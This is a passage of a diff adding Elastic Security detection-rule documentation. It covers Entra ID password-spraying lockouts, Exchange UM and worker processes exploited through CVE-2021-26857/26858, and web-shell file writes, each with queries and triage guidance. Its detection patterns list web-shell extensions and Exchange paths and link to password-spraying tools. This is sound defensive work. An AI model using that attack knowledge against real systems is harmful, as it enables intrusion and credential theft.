Use the Defender portal to action native response options (quarantine, automated investigation, account remediation) for the incident. +- Investigate how the threat entered the environment and close any exploited gaps. +- Reset credentials for compromised accounts or escalate to incident response. +- Document the findings and tune the upstream Defender policy or add an Elastic exception as appropriate. + + +==== Setup + + + +*Setup* + + + +*Microsoft Defender XDR Incident Integration* + +This rule is designed to capture incident events generated by the Microsoft Defender XDR integration and promote them as Elastic detection alerts. + +To capture Microsoft Defender XDR incidents, install and configure the Microsoft Defender XDR integration to ingest incident events into the `logs-m365_defender.incident-*` index pattern. + + +*Alert suppression and the Defender update lifecycle* + + +Microsoft Defender writes multiple update events per incident during its lifecycle, all sharing the same stable identifier (`m365_defender.incident.id`, copied to `event.id`). This rule suppresses on that identifier so updates accumulate into one Elastic alert. Note the following alert suppression semantics: + +- Suppression applies going forward from when the suppressing alert is created; it does not retroactively merge alerts created before the rule was enabled. +- Updates are aggregated into the existing alert only while that alert is open and within the suppression window. If an analyst closes the suppressing alert, a later Defender update will open a new Elastic alert. +- The suppression window (default 1 day) is tunable. Size it to your environment's typical Defender incident lifecycle; extending it keeps a single alert open longer but delays new-alert creation for late updates. + + +*Avoiding duplicate alerts* + + +To avoid double-counting, enable either this incident-level rule or the Microsoft Defender XDR Alert External Alerts rule (alert-level), not both: a Defender incident's child alerts appear in both data streams. Incident-level (this rule) produces the least noise (one Elastic alert per Defender incident) and is the recommended default; alert-level provides finer-grained, per-alert triage. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: m365_defender.incident + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc new file mode 100644 index 0000000000..7d29204008 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-34-microsoft-entra-id-exccessive-account-lockouts-detected]] +=== Microsoft Entra ID Exccessive Account Lockouts Detected + +Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Entra ID Exccessive Account Lockouts Detected* + + +This rule detects a high number of sign-in failures due to account lockouts (error code `50053`) in Microsoft Entra ID sign-in logs. These lockouts are typically caused by repeated authentication failures, often as a result of brute-force tactics such as password spraying, credential stuffing, or automated guessing. This detection is time-bucketed and aggregates attempts to identify bursts or coordinated campaigns targeting multiple users. + + +*Possible investigation steps* + + +- Review `user_id_list` and `user_principal_name`: Check if targeted users include high-value accounts such as administrators, service principals, or shared inboxes. +- Check `error_codes` and `result_description`: Validate that `50053` (account locked) is the consistent failure type. Messages indicating "malicious IP" activity suggest Microsoft’s backend flagged the source. +- Analyze `ip_list` and `source_orgs`: Identify whether the activity originated from known malicious infrastructure (e.g., VPNs, botnets, or public cloud providers). In the example, traffic originates from `MASSCOM`, which should be validated. +- Inspect `device_detail_browser` and `user_agent`: Clients like `"Python Requests"` indicate scripted automation rather than legitimate login attempts. +- Evaluate `unique_users` vs. `total_attempts`: A high ratio suggests distributed attacks across multiple accounts, characteristic of password spraying. +- Correlate `client_app_display_name` and `incoming_token_type`: PowerShell or unattended sign-in clients may be targeted for automation or legacy auth bypass. +- Review `conditional_access_status` and `risk_state`: If Conditional Access was not applied and risk was not flagged, policy scope or coverage should be reviewed. +- Validate time range (`first_seen`, `last_seen`): Determine whether the attack is a short burst or part of a longer campaign. + + +*False positive analysis* + + +- Misconfigured clients, scripts, or services with outdated credentials may inadvertently cause lockouts. +- Repeated lockouts from known internal IPs or during credential rotation windows could be benign. +- Legacy applications without modern auth support may repeatedly fail and trigger Smart Lockout. +- Specific known user agents (e.g., corporate service accounts). +- Internal IPs or cloud-hosted automation with expected failure behavior. + + +*Response and remediation* + + +- Investigate locked accounts immediately. Confirm if the account was successfully accessed prior to lockout. +- Reset credentials for impacted users and enforce MFA before re-enabling accounts. +- Block malicious IPs or ASN at the firewall, identity provider, or Conditional Access level. +- Audit authentication methods in use, and enforce modern auth (OAuth, SAML) over legacy protocols. +- Strengthen Conditional Access policies to reduce exposure from weak locations, apps, or clients. +- Conduct credential hygiene audits to assess reuse and rotation for targeted accounts. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name) + +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and event.outcome == "failure" + and azure.signinlogs.properties.authentication_requirement == "singleFactorAuthentication" + and azure.signinlogs.properties.status.error_code == 50053 + and azure.signinlogs.properties.user_principal_name is not null + and azure.signinlogs.properties.user_principal_name != "" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower), + Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.@timestamp.min = min(@timestamp), + Esql.@timestamp.max = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| where Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 and Esql.event_count >= 20 + +| keep + Esql.time_window_date_trunc, + Esql.event_count, + Esql.@timestamp.min, + Esql.@timestamp.max, + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct, + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_lower_values, + Esql.azure_signinlogs_properties_app_display_name_lower_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_result_signature_values, + Esql.azure_signinlogs_result_type_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..fdac7a39dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-microsoft-exchange-server-um-spawning-suspicious-processes]] +=== Microsoft Exchange Server UM Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Microsoft Exchange Server Unified Messaging (UM) service. This activity has been observed exploiting CVE-2021-26857. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2021-26857 + +*Version*: 319 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Exchange Server UM Spawning Suspicious Processes* + + +Microsoft Exchange Server's Unified Messaging (UM) integrates voice messaging with email, allowing users to access voicemails via their inbox. Adversaries exploit vulnerabilities like CVE-2021-26857 to execute unauthorized processes, potentially leading to system compromise. The detection rule identifies unusual processes initiated by UM services, excluding known legitimate executables, to flag potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process parent name is either "UMService.exe" or "UMWorkerProcess.exe" and verify the process executable path is not among the known legitimate paths listed in the exclusion criteria. +- Gather additional context by checking the process command line arguments and the user account under which the suspicious process was executed to identify any anomalies or unauthorized access. +- Investigate the historical activity of the host by reviewing recent logs for any other unusual or unauthorized processes, especially those related to the Microsoft Exchange Server. +- Check for any recent patches or updates applied to the Microsoft Exchange Server to ensure that vulnerabilities like CVE-2021-26857 have been addressed. +- Correlate the alert with other security tools and data sources such as Microsoft Defender XDR or Sysmon to identify any related suspicious activities or indicators of compromise. +- Assess the network activity from the host to detect any potential lateral movement or data exfiltration attempts that might be associated with the suspicious process. + + +*False positive analysis* + + +- Legitimate UM service updates or patches may trigger the rule. Regularly update the list of known legitimate executables to include new or updated UM service files. +- Custom scripts or monitoring tools that interact with UM services might be flagged. Identify these scripts and add their executables to the exclusion list if they are verified as safe. +- Non-standard installation paths for Exchange Server can cause false positives. Ensure that all legitimate installation paths are included in the exclusion list to prevent unnecessary alerts. +- Administrative tasks performed by IT staff using command-line tools may be misidentified. Document these tasks and consider excluding the associated executables if they are part of routine maintenance. +- Third-party integrations with Exchange Server that spawn processes could be flagged. Verify these integrations and exclude their executables if they are deemed secure and necessary for business operations. + + +*Response and remediation* + + +- Isolate the affected Microsoft Exchange Server from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being spawned by the UM service that are not part of the known legitimate executables list. +- Apply the latest security patches and updates to the Microsoft Exchange Server to address CVE-2021-26857 and any other known vulnerabilities. +- Conduct a thorough review of the server's security logs and network traffic to identify any additional indicators of compromise or unauthorized access attempts. +- Restore the server from a known good backup taken before the suspicious activity was detected, ensuring that the backup is free from compromise. +- Implement enhanced monitoring and alerting for any future suspicious processes spawned by the UM service, using the detection rule as a baseline. +- Escalate the incident to the organization's security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("UMService.exe", "UMWorkerProcess.exe") and + not process.executable : ( + "?:\\Windows\\System32\\werfault.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\Program Files\\Microsoft\\Exchange Server\\V??\\Bin\\UMWorkerProcess.exe", + "?:\\Program Files\\Microsoft\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange 2016\\Bin\\UMWorkerProcess.exe", + "E:\\ExchangeServer\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "E:\\Exchange Server\\V15\\Bin\\UMWorkerProcess.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\werfault.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wermgr.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft\\Exchange Server\\V??\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange 2016\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\ExchangeServer\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange Server\\V15\\Bin\\UMWorkerProcess.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-writing-suspicious-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-writing-suspicious-files.asciidoc new file mode 100644 index 0000000000..f0afa59dcc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-server-um-writing-suspicious-files.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-microsoft-exchange-server-um-writing-suspicious-files]] +=== Microsoft Exchange Server UM Writing Suspicious Files + +Identifies suspicious files being written by the Microsoft Exchange Server Unified Messaging (UM) service. This activity has been observed exploiting CVE-2021-26858. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2021-26858 + +*Version*: 315 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Positive hits can be checked against the established Microsoft https://github.com/microsoft/CSS-Exchange/tree/main/Security/Baselines[baselines]. + +Microsoft highly recommends that the best course of action is patching, but this may not protect already compromised systems +from existing intrusions. Other tools for detecting and mitigating can be found within their Exchange support +https://github.com/microsoft/CSS-Exchange/tree/main/Security[repository] + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + process.name : ("UMWorkerProcess.exe", "umservice.exe") and + file.extension : ("php", "jsp", "js", "aspx", "asmx", "asax", "cfm", "shtml") and + ( + file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*" or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\*" and + not (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\version\\*" or + file.name : ("errorFE.aspx", "expiredpassword.aspx", "frowny.aspx", "GetIdToken.htm", "logoff.aspx", + "logon.aspx", "OutlookCN.aspx", "RedirSuiteServiceProxy.aspx", "signout.aspx"))) or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\ecp\\auth\\*" and + not file.name : "TimeoutLogoff.aspx") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..80a70ddc76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-microsoft-exchange-worker-spawning-suspicious-processes]] +=== Microsoft Exchange Worker Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Microsoft Exchange Server worker process (w3wp). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities +* https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Exchange Worker Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- What Exchange worker-child path did the alert capture? + - Focus: child `process.executable` and `process.command_line`; worker `process.parent.executable`, `process.parent.args`, and `process.parent.command_line`; exact MSExchange app pool. + - Implication: escalate when an Exchange app pool launches shell/PowerShell for execution, download, discovery, or staging; lower suspicion only when parent arguments and child command match one narrow maintenance task with no webshell or RCE indicators. +- What intent does the shell or PowerShell command show? + - Focus: `process.command_line`; encoded or inline execution, download cradles, archive/export, discovery, Set-OabVirtualDirectory, mailbox access, or FrontEnd\HttpProxy, aspnet_client, web.config, and applicationHost.config paths. + - Implication: escalate on payload retrieval, web-root staging, credential access, account changes, mailbox export, cleanup, or lateral movement; lower suspicion only for one bounded recognized Exchange maintenance or validation action. +- Does token and session context support human administration or service-context abuse? + - Why: w3wp.exe children often inherit app-pool or service identity, so user fields alone do not prove human administration. + - Focus: `user.id`, `user.name`, `user.domain`, `process.Ext.session_info.logon_type`, and `process.Ext.authentication_id`. + - Implication: escalate when a service, app-pool, or unexpected logon context launches interactive shell behavior or remote administration; lower suspicion only when identity, session type, and command scope match the same recognized workflow. +- Is the child binary expected or masqueraded? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is renamed, user-writable, unsigned or untrusted, hash-new for the server, or mismatched to PE original name; a trusted Microsoft shell lowers identity concern but does not clear the unusual chain. +- If process evidence is suspicious or unresolved, did file evidence show webshells or artifacts? + - Focus: with endpoint file telemetry, scope by `host.id` + `process.entity_id`, or `host.id` + `process.pid` + tight alert window if absent; inspect `file.path`, `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier` for ASPX, scripts, binaries, DLLs, archives, or output under Exchange/IIS paths. !{investigate{"description":"","label":"File events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: check whether a written `file.path` later appears as `process.executable`; missing file telemetry limits proof but is not benign. + - Implication: escalate when the child writes new or modified ASPX, scripts, binaries, DLLs, archives, or output under Exchange FrontEnd\HttpProxy, IIS aspnet_client, temp, or web-root paths; lower suspicion only when file activity stays inside the exact maintenance path with no web-content or payload staging. +- If process evidence is suspicious or unresolved, did network evidence show retrieval or callback? + - Focus: with endpoint network telemetry, scope DNS and connections by `host.id` + `process.entity_id`, or `host.id` + `process.pid` + tight alert window if absent; read DNS (`dns.question.name`, `dns.resolved_ip`) separately from connections (`destination.ip`, `destination.port`). !{investigate{"description":"","label":"Network events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map `dns.resolved_ip` to `destination.ip` before deciding whether the same process reached it. Missing network telemetry is unresolved, not benign. + - Implication: escalate when the child downloads tools, reaches public staging or callback infrastructure, or connects to systems unrelated to the Exchange task; lower suspicion only when destinations are internal, proxy, or vendor services fitting the same bounded workflow. +- Does same-worker or same-host scope show broader Exchange compromise? + - Focus: surrounding same-worker process starts 